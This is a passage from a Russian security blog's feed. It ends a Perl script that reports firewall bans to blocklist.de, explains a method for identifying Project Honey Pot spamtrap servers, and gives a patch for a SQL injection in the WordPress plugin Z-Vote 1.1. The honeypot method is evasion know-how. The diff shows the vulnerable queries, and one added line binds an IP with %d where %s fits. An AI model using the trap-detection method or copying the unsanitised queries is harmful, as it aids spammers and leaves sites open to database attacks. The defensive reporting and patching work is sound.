<span class="kw1">my</span> <span class="re0">$logs</span> &nbsp; &nbsp;<span class="sy0">=</span> <span class="re0">$ARGV</span><span class="br0">&#91;</span>6<span class="br0">&#93;</span> <span class="sy0">||</span> <span class="st_h">''</span><span class="sy0">;</span><br />
<span class="kw1">my</span> <span class="re0">$trigger</span> <span class="sy0">=</span> <span class="re0">$ARGV</span><span class="br0">&#91;</span>7<span class="br0">&#93;</span> <span class="sy0">||</span> <span class="st_h">''</span><span class="sy0">;</span><br />
<br />
<span class="kw1">my</span> <span class="re0">%services</span> <span class="sy0">=</span> <span class="br0">&#40;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; LF_SSHD &nbsp; &nbsp; &nbsp; <span class="sy0">=&gt;</span> <span class="st_h">'sshd'</span><span class="sy0">,</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; LF_FTPD &nbsp; &nbsp; &nbsp; <span class="sy0">=&gt;</span> <span class="st_h">'ftpd'</span><span class="sy0">,</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; LF_SMTPAUTH &nbsp; <span class="sy0">=&gt;</span> <span class="st_h">'smtpd'</span><span class="sy0">,</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; LF_POP3D &nbsp; &nbsp; &nbsp;<span class="sy0">=&gt;</span> <span class="st_h">'pop3d'</span><span class="sy0">,</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; LF_IMAPD &nbsp; &nbsp; &nbsp;<span class="sy0">=&gt;</span> <span class="st_h">'imapd'</span><span class="sy0">,</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; LF_HTACCESS &nbsp; <span class="sy0">=&gt;</span> <span class="st_h">'httpd'</span><span class="sy0">,</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; LF_MODSEC &nbsp; &nbsp; <span class="sy0">=&gt;</span> <span class="st_h">'httpd'</span><span class="sy0">,</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; LF_BIND &nbsp; &nbsp; &nbsp; <span class="sy0">=&gt;</span> <span class="st_h">'named'</span><span class="sy0">,</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; LF_SUHOSIN &nbsp; &nbsp;<span class="sy0">=&gt;</span> <span class="st_h">'httpd'</span><span class="sy0">,</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; LF_APACHE_404 <span class="sy0">=&gt;</span> <span class="st_h">'httpd'</span><span class="sy0">,</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; CT_LIMIT &nbsp; &nbsp; &nbsp;<span class="sy0">=&gt;</span> <span class="st_h">'portflood'</span><span class="sy0">,</span><br />
<span class="br0">&#41;</span><span class="sy0">;</span><br />
<br />
<span class="kw1">my</span> <span class="re0">$service</span> <span class="sy0">=</span> <span class="re0">$services</span><span class="br0">&#123;</span><span class="re0">$trigger</span><span class="br0">&#125;</span> <span class="sy0">||</span> <span class="st_h">''</span><span class="sy0">;</span><br />
<br />
<span class="kw1">if</span> <span class="br0">&#40;</span><span class="re0">$service</span><span class="br0">&#41;</span> <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">my</span> <span class="re0">$email</span> <span class="sy0">=</span> MIME<span class="sy0">::</span><span class="me2">Lite</span><span class="sy0">-&gt;</span><span class="me1">new</span><span class="br0">&#40;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; From &nbsp; &nbsp;<span class="sy0">=&gt;</span> <span class="re0">$from</span><span class="sy0">,</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; To &nbsp; &nbsp; &nbsp;<span class="sy0">=&gt;</span> <span class="st0">&quot;$to,fail2ban<span class="es0">\@</span>blocklist.de&quot;</span><span class="sy0">,</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Subject <span class="sy0">=&gt;</span> <span class="st0">&quot;[Fail2Ban]: $service: banned $ip&quot;</span><span class="sy0">,</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Data &nbsp; &nbsp;<span class="sy0">=&gt;</span> <span class="st0">&quot;Hi,<br />
<br />
The IP $ip has just been banned by Fail2Ban<br />
<br />
$msg<br />
<br />
Lines containing IP:$ip<br />
<br />
$logs<br />
<br />
Regards,<br />
<br />
Fail2Ban&quot;</span><span class="sy0">,</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#41;</span><span class="sy0">;</span><br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$email</span><span class="sy0">-&gt;</span><span class="me1">send</span><span class="br0">&#40;</span><span class="st0">&quot;sendmail&quot;</span><span class="sy0">,</span> <span class="st0">&quot;/usr/lib/sendmail -t -oi -r $rp&quot;</span><span class="br0">&#41;</span><span class="sy0">;</span><br />
<span class="br0">&#125;</span>
        </div>
    </div>
</div>

<p>Есть два настраиваемых параметра: <code>$from</code> и <code>$to</code>: первый используется blocklist.de для идентификации сервера, отправляющего отчёт об атаке (кроме того, адрес, указанный в <code>$from</code>, используется и как Return-Path); второй — адрес, на который отправляется копия уведомления (например, какая-нибудь CRM типа <a href="http://bestpractical.com/">RT</a>).</p>
<p>В /etc/csf/csf.conf нужно добавить строку:</p>
          
<div class="codebox">
    <div class="the_code" style="" id="p92428">
        <div class="code text" id="p924code28">
BLOCK_REPORT = &quot;/path/to/script.pl&quot;
        </div>
    </div>
</div>

<p>и перезапустить сервис.</p>
<p>Вариант данного скрипта успешно используется на нескольких серверах.</p>
<p><a href="http://static.sjinks.info/wp-content/uploads/2011/07/blocklist.de_.png"><img src="http://static.sjinks.info/wp-content/uploads/2011/07/blocklist.de_-300x169.png" alt="Blocklist.de Report" title="Blocklist.de Report" width="300" height="169" class="alignnone size-medium wp-image-925" /></a></p>
<p>© 2012 <a href="http://blog.sjinks.pro">Ars Longa, Vita Brevis</a>. Все права защищены. Перепубликация материалов без разрешения автора запрещена.</p>
<p>При использовании материалов блога наличие активной не закрытой от индексирования ссылки на <a href="http://blog.sjinks.pro/security/924-integrate-lfd-with-blocklist/">источник</a> обязательно.</p>
<p><a href="http://feedads.g.doubleclick.net/~a/EoktYROcwE9qags1Tm9t4ch6wX8/0/da"><img src="http://feedads.g.doubleclick.net/~a/EoktYROcwE9qags1Tm9t4ch6wX8/0/di" border="0" ismap="true"></img></a><br/>
<a href="http://feedads.g.doubleclick.net/~a/EoktYROcwE9qags1Tm9t4ch6wX8/1/da"><img src="http://feedads.g.doubleclick.net/~a/EoktYROcwE9qags1Tm9t4ch6wX8/1/di" border="0" ismap="true"></img></a></p><div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/sjblog_security?a=Dqu-eT0QzKU:UdflG-YZb5g:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/sjblog_security?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/sjblog_security?a=Dqu-eT0QzKU:UdflG-YZb5g:dnMXMwOfBR0"><img src="http://feeds.feedburner.com/~ff/sjblog_security?d=dnMXMwOfBR0" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/sjblog_security?a=Dqu-eT0QzKU:UdflG-YZb5g:F7zBnMyn0Lo"><img src="http://feeds.feedburner.com/~ff/sjblog_security?i=Dqu-eT0QzKU:UdflG-YZb5g:F7zBnMyn0Lo" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/sjblog_security?a=Dqu-eT0QzKU:UdflG-YZb5g:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/sjblog_security?d=qj6IDK7rITs" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/sjblog_security?a=Dqu-eT0QzKU:UdflG-YZb5g:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/sjblog_security?i=Dqu-eT0QzKU:UdflG-YZb5g:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/sjblog_security?a=Dqu-eT0QzKU:UdflG-YZb5g:l6gmwiTKsz0"><img src="http://feeds.feedburner.com/~ff/sjblog_security?d=l6gmwiTKsz0" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/sjblog_security?a=Dqu-eT0QzKU:UdflG-YZb5g:gIN9vFwOqvQ"><img src="http://feeds.feedburner.com/~ff/sjblog_security?i=Dqu-eT0QzKU:UdflG-YZb5g:gIN9vFwOqvQ" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/sjblog_security?a=Dqu-eT0QzKU:UdflG-YZb5g:TzevzKxY174"><img src="http://feeds.feedburner.com/~ff/sjblog_security?d=TzevzKxY174" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/sjblog_security/~4/Dqu-eT0QzKU" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://blog.sjinks.pro/security/924-integrate-lfd-with-blocklist/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		<feedburner:origLink>http://blog.sjinks.pro/security/924-integrate-lfd-with-blocklist/</feedburner:origLink></item>
		<item>
		<title>Обнаружение ловушек Project Honey Pot</title>
		<link>http://feedproxy.google.com/~r/sjblog_security/~3/2e-zPV-XvBo/</link>
		<comments>http://blog.sjinks.pro/security/904-detect-project-honey-pot-honeypots/#comments</comments>
		<pubDate>Fri, 18 Mar 2011 00:39:24 +0000</pubDate>
		<dc:creator>Vladimir</dc:creator>
				<category><![CDATA[Безопасность]]></category>
		<category><![CDATA[honeypot]]></category>
		<category><![CDATA[спам]]></category>

		<guid isPermaLink="false">http://blog.sjinks.pro/?p=904</guid>
		<description><![CDATA[Использование непродуманности реализации ловушек для их обнаружения Project Honey Pot — web-сервис, предоставляющий сеть ловушек (honeypots), встраиваемых в сайты, для сбора информации об IP-адресах, используемых для сбора адресов email (email harvesting) в целях рассылок спама, оставления спам-комментариев на форумах и блогах, проведения атак на сайты и прочей нежелательной активности. Начинание, безусловно, полезное, но реализация, к сожалению, подводит. Основная проблема [...]<p>© 2012 <a href="http://blog.sjinks.pro">Ars Longa, Vita Brevis</a>. Все права защищены. Перепубликация материалов без разрешения автора запрещена.</p>
<p>При использовании материалов блога наличие активной не закрытой от индексирования ссылки на <a href="http://blog.sjinks.pro/security/904-detect-project-honey-pot-honeypots/">источник</a> обязательно.</p>]]></description>
			<content:encoded><![CDATA[<h2><em>Использование непродуманности реализации ловушек для их обнаружения</em></h2>
<p><a href="http://www.projecthoneypot.org/?rf=83830">Project Honey Pot</a> — web-сервис, предоставляющий сеть ловушек (honeypots), встраиваемых в сайты, для сбора информации об IP-адресах, используемых для сбора адресов email (email harvesting) в целях рассылок спама, оставления <a href="http://blog.sjinks.pro/tag/spam/" class="st_tag internal_tag" rel="tag" title="Записи, помеченные с  спам">спам</a>-комментариев на форумах и блогах, проведения атак на сайты и прочей нежелательной активности.</p>
<p>Начинание, безусловно, полезное, но реализация, к сожалению, подводит.<span id="more-904"></span></p>
<p>Основная проблема Project Honey Pot состоит в том, что они не пытаются скрыть свои ловушки. Например, если известно примерное время попадания почтового сервера в их чёрный список, достаточно получить список доменов, на которые отправлялась почта и поискать их в Google. Так как спамеры очень часто используют заголовок письма вида <code>username@example.com, blah blah blah</code>, ловушка сразу становится очевидной:</p>
<p><a href="http://static.sjinks.info/wp-content/uploads/2011/03/sample-messages.png"><img src="http://static.sjinks.info/wp-content/uploads/2011/03/sample-messages.png" alt="Project Honey Pot — Example Messages" title="Project Honey Pot — Example Messages" width="339" height="196" class="alignnone size-full wp-image-905" /></a></p>
<p>Аналогично с самими ловушками, которые пользователи проекта расставляют на своих сайтах: реализация такова, что нехороший пользователь может легко подделать IP-адреса, подставляя других пользователей. Иными словами, добавить конкурента в чёрный список проще простого. Но это не интересно <img src='http://static.sjinks.info/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /> </p>
<p>Гораздо интереснее было найти ловушки для спама (spamtraps). Метод, кстати, очень простой: устанавливается тысяча-другая ловушек на свой сайт с <a href="http://blog.sjinks.pro/administering/107-setting-up-wildcard-subdomains-in-apache/">общими поддоменами</a> и периодически просматривается. В результате мы получаем тысячу-другую адресов ловушек. Но особенность проекта такова, что Project Honey Pot получает от пользователя не конкретный email-адрес, а весь домен (в том плане, что пользователи жертвуют проекту MX-записи домена). В результате за день получается неплохой список доменов с ловушками. Дальше дело техники: анализируются MX-записи этих доменов, получаются их IP-адреса. В результате получится очень небольшой список (по понятным причинам я его приводить не буду) адресов серверов ловушек проекта плюс несколько мусорных записей.</p>
<p>Отличить почтовый сервер проекта очень легко:</p>
<ul>
<li>он поддерживает pipelining;</li>
<li>не выполняет никаких проверок хоста, с ним соединяющегося;</li>
<li>не выполняет никаких проверок отправителя (MAIL FROM);</li>
<li>не является открытым релеем, но согласен принять почту для любого из доменов, пожертвовавших свои MX-записи.</li>
</ul>
<p>Последняя особенность дискредитирует всю систему, ибо достаточно пары доменов для того, чтобы определить все адреса проекта.</p>
<p>© 2012 <a href="http://blog.sjinks.pro">Ars Longa, Vita Brevis</a>. Все права защищены. Перепубликация материалов без разрешения автора запрещена.</p>
<p>При использовании материалов блога наличие активной не закрытой от индексирования ссылки на <a href="http://blog.sjinks.pro/security/904-detect-project-honey-pot-honeypots/">источник</a> обязательно.</p>
<p><a href="http://feedads.g.doubleclick.net/~a/88R4JfKHb4Ggjqv-1YVQ6QpxpV8/0/da"><img src="http://feedads.g.doubleclick.net/~a/88R4JfKHb4Ggjqv-1YVQ6QpxpV8/0/di" border="0" ismap="true"></img></a><br/>
<a href="http://feedads.g.doubleclick.net/~a/88R4JfKHb4Ggjqv-1YVQ6QpxpV8/1/da"><img src="http://feedads.g.doubleclick.net/~a/88R4JfKHb4Ggjqv-1YVQ6QpxpV8/1/di" border="0" ismap="true"></img></a></p><div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/sjblog_security?a=2e-zPV-XvBo:s4pTe3M7pSc:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/sjblog_security?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/sjblog_security?a=2e-zPV-XvBo:s4pTe3M7pSc:dnMXMwOfBR0"><img src="http://feeds.feedburner.com/~ff/sjblog_security?d=dnMXMwOfBR0" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/sjblog_security?a=2e-zPV-XvBo:s4pTe3M7pSc:F7zBnMyn0Lo"><img src="http://feeds.feedburner.com/~ff/sjblog_security?i=2e-zPV-XvBo:s4pTe3M7pSc:F7zBnMyn0Lo" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/sjblog_security?a=2e-zPV-XvBo:s4pTe3M7pSc:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/sjblog_security?d=qj6IDK7rITs" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/sjblog_security?a=2e-zPV-XvBo:s4pTe3M7pSc:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/sjblog_security?i=2e-zPV-XvBo:s4pTe3M7pSc:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/sjblog_security?a=2e-zPV-XvBo:s4pTe3M7pSc:l6gmwiTKsz0"><img src="http://feeds.feedburner.com/~ff/sjblog_security?d=l6gmwiTKsz0" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/sjblog_security?a=2e-zPV-XvBo:s4pTe3M7pSc:gIN9vFwOqvQ"><img src="http://feeds.feedburner.com/~ff/sjblog_security?i=2e-zPV-XvBo:s4pTe3M7pSc:gIN9vFwOqvQ" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/sjblog_security?a=2e-zPV-XvBo:s4pTe3M7pSc:TzevzKxY174"><img src="http://feeds.feedburner.com/~ff/sjblog_security?d=TzevzKxY174" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/sjblog_security/~4/2e-zPV-XvBo" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://blog.sjinks.pro/security/904-detect-project-honey-pot-honeypots/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		<feedburner:origLink>http://blog.sjinks.pro/security/904-detect-project-honey-pot-honeypots/</feedburner:origLink></item>
		<item>
		<title>SQL Injection Vulnerability в Z-Vote 1.1</title>
		<link>http://feedproxy.google.com/~r/sjblog_security/~3/lSWe0tu0X_U/</link>
		<comments>http://blog.sjinks.pro/security/902-sql-injection-vulnerability-z-vote/#comments</comments>
		<pubDate>Fri, 25 Feb 2011 19:32:49 +0000</pubDate>
		<dc:creator>Wandering Soul</dc:creator>
				<category><![CDATA[Безопасность]]></category>
		<category><![CDATA[Патчи]]></category>
		<category><![CDATA[path disclosure]]></category>
		<category><![CDATA[SQL-инъекция]]></category>
		<category><![CDATA[WordPress]]></category>
		<category><![CDATA[безопасность]]></category>
		<category><![CDATA[патч]]></category>
		<category><![CDATA[плагин]]></category>
		<category><![CDATA[уязвимость]]></category>

		<guid isPermaLink="false">http://blog.sjinks.pro/?p=902</guid>
		<description><![CDATA[Исправление уязвимостей в плагине WordPress Z-Vote 1.1 В плагине WordPress Z-Vote 1.1 была обнаружена уязвимость, позволяющая злоумышленнику выполнять произвольные запросы к базе данных (уязвимость типа «SQL-инъекция»). Уязвимость существует из-за неправильного использования метода wpdb::prepare() и отсутствия проверки и очистки переменной $_GET['zvote']. Уязвимость позволяет злоумышленнику изменять запросы к базе данных, выполнять произвольные запросы, читать или изменять конфиденциальную информацию. Вторая [...]<p>© 2012 <a href="http://blog.sjinks.pro">Ars Longa, Vita Brevis</a>. Все права защищены. Перепубликация материалов без разрешения автора запрещена.</p>
<p>При использовании материалов блога наличие активной не закрытой от индексирования ссылки на <a href="http://blog.sjinks.pro/security/902-sql-injection-vulnerability-z-vote/">источник</a> обязательно.</p>]]></description>
			<content:encoded><![CDATA[<h2><em>Исправление уязвимостей в плагине <a href="http://blog.sjinks.pro/tag/wordpress/" class="st_tag internal_tag" rel="tag" title="Записи, помеченные с  WordPress">WordPress</a> Z-Vote 1.1</em></h2>
<p>В плагине WordPress Z-Vote 1.1 была <a href="http://www.exploit-db.com/exploits/16218/">обнаружена</a> <a href="http://blog.sjinks.pro/tag/vulnerability/" class="st_tag internal_tag" rel="tag" title="Записи, помеченные с  уязвимость">уязвимость</a>, позволяющая злоумышленнику выполнять произвольные запросы к базе данных (<a href="http://blog.sjinks.pro/tag/vulnerability/" class="st_tag internal_tag" rel="tag" title="Записи, помеченные с  уязвимость">уязвимость</a> типа «<a href="http://blog.sjinks.pro/tag/sql-injection/" class="st_tag internal_tag" rel="tag" title="Записи, помеченные с  SQL-инъекция">SQL-инъекция</a>»).</p>
<p>Уязвимость существует из-за неправильного использования метода <span class="codebox"><code class="php">wpdb<span class="sy0">::</span><span class="me2">prepare</span><span class="br0">&#40;</span><span class="br0">&#41;</span></code></span> и отсутствия проверки и очистки переменной <code>$_GET['zvote']</code>.</p>
<p>Уязвимость позволяет злоумышленнику изменять запросы к базе данных, выполнять произвольные запросы, читать или изменять конфиденциальную информацию.<span id="more-902"></span><br />
Вторая уязвимость (незначительная по сравнению с SQL-инъекцией) — раскрытие пути к плагину (<a href="http://blog.sjinks.pro/tag/path-disclosure/" class="st_tag internal_tag" rel="tag" title="Записи, помеченные с  path disclosure">path disclosure</a>) при прямом доступе к файлу плагина.</p>
<p><strong><a href='http://static.sjinks.info/wp-content/uploads/2011/02/z-vote.diff'>Патч, исправляющий уязвимости в Z-Vote 1.1</a>:</strong></p>
          
<div class="codebox">
    <div class="the_code" style="" id="p90230">
        <div class="code diff" id="p902code30">
diff -uwdBrN z-vote.orig/zvote.php z-vote/zvote.php<br />
<span class="re3">--- z-vote.orig/zvote.php &nbsp; <span class="nu0">2011</span>-02-<span class="nu0">25</span> <span class="nu0">21</span>:05:<span class="nu0">44.000000000</span> +0200</span><br />
<span class="re4">+++ z-vote/zvote.php&nbsp; &nbsp; <span class="nu0">2011</span>-02-<span class="nu0">25</span> <span class="nu0">21</span>:<span class="nu0">10</span>:<span class="nu0">46.531798756</span> +0200</span><br />
<span class="re6">@@ -<span class="nu0">9</span>,<span class="nu0">6</span> +<span class="nu0">9</span>,<span class="nu0">8</span> @@</span><br />
&nbsp; &nbsp;License: GPL <br />
&nbsp;*/<br />
&nbsp;<br />
<span class="re8">+ &nbsp; defined<span class="br0">&#40;</span>'ABSPATH'<span class="br0">&#41;</span> or die<span class="br0">&#40;</span><span class="br0">&#41;</span>;</span><br />
<span class="re8">+</span><br />
&nbsp;// --- DEFINITIONS<br />
&nbsp;<br />
&nbsp; &nbsp; //define where zvote is installed on the wordpres system. In 99.9% of the case the path below is correct.<br />
<span class="re6">@@ -<span class="nu0">271</span>,<span class="nu0">7</span> +<span class="nu0">273</span>,<span class="nu0">7</span> @@</span><br />
&nbsp;function zVote_getEntry<span class="br0">&#40;</span>$postid<span class="br0">&#41;</span> <span class="br0">&#123;</span><br />
&nbsp; &nbsp; global $wpdb;<br />
&nbsp;<br />
<span class="re7">- &nbsp; $entries = $wpdb-&gt;get_results<span class="br0">&#40;</span>$wpdb-&gt;prepare<span class="br0">&#40;</span>&quot;SELECT * FROM &quot; . $wpdb-&gt;prefix . &quot;zvotedata WHERE postid = &quot; . $postid . &quot;&quot;<span class="br0">&#41;</span><span class="br0">&#41;</span>;</span><br />
<span class="re8">+ &nbsp; $entries = $wpdb-&gt;get_results<span class="br0">&#40;</span>$wpdb-&gt;prepare<span class="br0">&#40;</span>&quot;SELECT * FROM &quot; . $wpdb-&gt;prefix . &quot;zvotedata WHERE postid = %d&quot;, $postid<span class="br0">&#41;</span><span class="br0">&#41;</span>;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <br />
&nbsp; &nbsp; return $entries;<br />
&nbsp;<span class="br0">&#125;</span><br />
<span class="re6">@@ -<span class="nu0">282</span>,<span class="nu0">7</span> +<span class="nu0">284</span>,<span class="nu0">7</span> @@</span><br />
&nbsp; &nbsp; global $wpdb;<br />
&nbsp; &nbsp; <br />
&nbsp; &nbsp; $votes = <span class="nu0">0</span>;<br />
<span class="re7">- &nbsp; $votes = $wpdb-&gt;get_var<span class="br0">&#40;</span>$wpdb-&gt;prepare<span class="br0">&#40;</span>&quot;SELECT COUNT<span class="br0">&#40;</span>*<span class="br0">&#41;</span> FROM &quot; . $wpdb-&gt;prefix . &quot;zvotedata WHERE postid = &quot; . $postid . &quot;&quot;<span class="br0">&#41;</span><span class="br0">&#41;</span>;</span><br />
<span class="re8">+ &nbsp; $votes = $wpdb-&gt;get_var<span class="br0">&#40;</span>$wpdb-&gt;prepare<span class="br0">&#40;</span>&quot;SELECT COUNT<span class="br0">&#40;</span>*<span class="br0">&#41;</span> FROM &quot; . $wpdb-&gt;prefix . &quot;zvotedata WHERE postid = %d&quot;, $postid<span class="br0">&#41;</span><span class="br0">&#41;</span>;</span><br />
&nbsp; &nbsp; <br />
&nbsp; &nbsp; return $votes;<br />
&nbsp;<span class="br0">&#125;</span><br />
<span class="re6">@@ -<span class="nu0">292</span>,<span class="nu0">7</span> +<span class="nu0">294</span>,<span class="nu0">7</span> @@</span><br />
&nbsp; &nbsp; <br />
&nbsp; &nbsp; global $wpdb;<br />
&nbsp; &nbsp; <br />
<span class="re7">- &nbsp; $votes = $wpdb-&gt;get_var<span class="br0">&#40;</span>$wpdb-&gt;prepare<span class="br0">&#40;</span>&quot;DELETE FROM &quot; . $wpdb-&gt;prefix . &quot;zvotedata WHERE postid = &quot; . $postid . &quot;&quot;<span class="br0">&#41;</span><span class="br0">&#41;</span>;</span><br />
<span class="re8">+ &nbsp; $votes = $wpdb-&gt;get_var<span class="br0">&#40;</span>$wpdb-&gt;prepare<span class="br0">&#40;</span>&quot;DELETE FROM &quot; . $wpdb-&gt;prefix . &quot;zvotedata WHERE postid = %d&quot;, $postid<span class="br0">&#41;</span><span class="br0">&#41;</span>;</span><br />
&nbsp; &nbsp; <br />
&nbsp; &nbsp; return $votes;<br />
&nbsp;<span class="br0">&#125;</span><br />
<span class="re6">@@ -<span class="nu0">353</span>,<span class="nu0">7</span> +<span class="nu0">355</span>,<span class="nu0">7</span> @@</span><br />
&nbsp; &nbsp; global $wpdb;<br />
&nbsp; &nbsp; <br />
&nbsp; &nbsp; //ipcheck for now, will expand to userid-check, based on the user setting in version 1.5<br />
<span class="re7">- &nbsp; $ipcheck = $wpdb-&gt;get_var<span class="br0">&#40;</span>$wpdb-&gt;prepare<span class="br0">&#40;</span>&quot;SELECT id FROM &quot; . $wpdb-&gt;prefix . &quot;zvotedata WHERE postid = &quot; . $postid . &quot; AND userip = \&quot;&quot; . $_SERVER<span class="br0">&#91;</span>'REMOTE_ADDR'<span class="br0">&#93;</span> . &quot;\&quot;&quot;<span class="br0">&#41;</span><span class="br0">&#41;</span>;</span><br />
<span class="re8">+ &nbsp; $ipcheck = $wpdb-&gt;get_var<span class="br0">&#40;</span>$wpdb-&gt;prepare<span class="br0">&#40;</span>&quot;SELECT id FROM &quot; . $wpdb-&gt;prefix . &quot;zvotedata WHERE postid = %d AND userip = %s&quot;, $postid, $_SERVER<span class="br0">&#91;</span>'REMOTE_ADDR'<span class="br0">&#93;</span><span class="br0">&#41;</span><span class="br0">&#41;</span>;</span><br />
&nbsp; &nbsp; <br />
&nbsp; &nbsp; $wpdb-&gt;insert<span class="br0">&#40;</span> $wpdb-&gt;prefix . 'zvotedata', array<span class="br0">&#40;</span> 'postid' =&gt; $postid, 'userip' =&gt; $_SERVER<span class="br0">&#91;</span>'REMOTE_ADDR'<span class="br0">&#93;</span>, 'userid' =&gt; 0, 'time' =&gt; time<span class="br0">&#40;</span><span class="br0">&#41;</span> <span class="br0">&#41;</span>, array<span class="br0">&#40;</span> '%d','%s', '%d', '%d' <span class="br0">&#41;</span> <span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; <br />
<span class="re6">@@ -<span class="nu0">365</span>,<span class="nu0">7</span> +<span class="nu0">367</span>,<span class="nu0">7</span> @@</span><br />
&nbsp; &nbsp; global $wpdb, $wp_query, $redirect_meta_key;<br />
&nbsp; &nbsp; <br />
&nbsp; &nbsp; //ipcheck for now, will expand to userid-check, based on the user setting in version 1.5<br />
<span class="re7">- &nbsp; $ipcheck = $wpdb-&gt;get_var<span class="br0">&#40;</span>$wpdb-&gt;prepare<span class="br0">&#40;</span>&quot;SELECT id FROM &quot; . $wpdb-&gt;prefix . &quot;zvotedata WHERE postid = &quot; . $postid . &quot; AND userip = \&quot;&quot; . $_SERVER<span class="br0">&#91;</span>'REMOTE_ADDR'<span class="br0">&#93;</span> . &quot;\&quot;&quot;<span class="br0">&#41;</span><span class="br0">&#41;</span>;</span><br />
<span class="re8">+ &nbsp; $ipcheck = $wpdb-&gt;get_var<span class="br0">&#40;</span>$wpdb-&gt;prepare<span class="br0">&#40;</span>&quot;SELECT id FROM &quot; . $wpdb-&gt;prefix . &quot;zvotedata WHERE postid = %d AND userip = %d&quot;, $postid, $_SERVER<span class="br0">&#91;</span>'REMOTE_ADDR'<span class="br0">&#93;</span><span class="br0">&#41;</span><span class="br0">&#41;</span>;</span><br />
&nbsp; &nbsp; <br />
&nbsp; &nbsp; if <span class="br0">&#40;</span>!$ipcheck<span class="br0">&#41;</span> <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; //ok to vote, register vote<br />
<span class="re6">@@ -<span class="nu0">382</span>,<span class="nu0">7</span> +<span class="nu0">384</span>,<span class="nu0">7</span> @@</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; //send user to post<br />
<span class="re7">- &nbsp; &nbsp; &nbsp; header<span class="br0">&#40;</span>'Location: ' .$injectionPoint<span class="br0">&#41;</span>;</span><br />
<span class="re8">+ &nbsp; &nbsp; &nbsp; wp_redirect<span class="br0">&#40;</span>$injectionPoint<span class="br0">&#41;</span>;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; exit;<br />
&nbsp; &nbsp; <span class="br0">&#125;</span> else <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; //user already registered, push to entry-page and inform the user.<br />
<span class="re6">@@ -<span class="nu0">394</span>,<span class="nu0">7</span> +<span class="nu0">396</span>,<span class="nu0">7</span> @@</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $injectionPoint = $post . '?zvoters=2';<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <br />
<span class="re7">- &nbsp; &nbsp; &nbsp; header<span class="br0">&#40;</span>'Location: ' .$injectionPoint<span class="br0">&#41;</span>;</span><br />
<span class="re8">+ &nbsp; &nbsp; &nbsp; wp_redirect<span class="br0">&#40;</span>$injectionPoint<span class="br0">&#41;</span>;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; exit;<br />
&nbsp; &nbsp; <span class="br0">&#125;</span><br />
&nbsp; &nbsp; exit;
        </div>
    </div>
</div>

<p>© 2012 <a href="http://blog.sjinks.pro">Ars Longa, Vita Brevis</a>. Все права защищены. Перепубликация материалов без разрешения автора запрещена.</p>
<p>При использовании материалов блога наличие активной не закрытой от индексирования ссылки на <a href="http://blog.sjinks.pro/security/902-sql-injection-vulnerability-z-vote/">источник</a> обязательно.</p>
<p><a href="http://feedads.g.doubleclick.net/~a/dqWlMdCMiO1uQHI3QhD-yWhztQs/0/da"><img src="http://feedads.g.doubleclick.net/~a/dqWlMdCMiO1uQHI3QhD-yWhztQs/0/di" border="0" ismap="true"></img></a><br/>
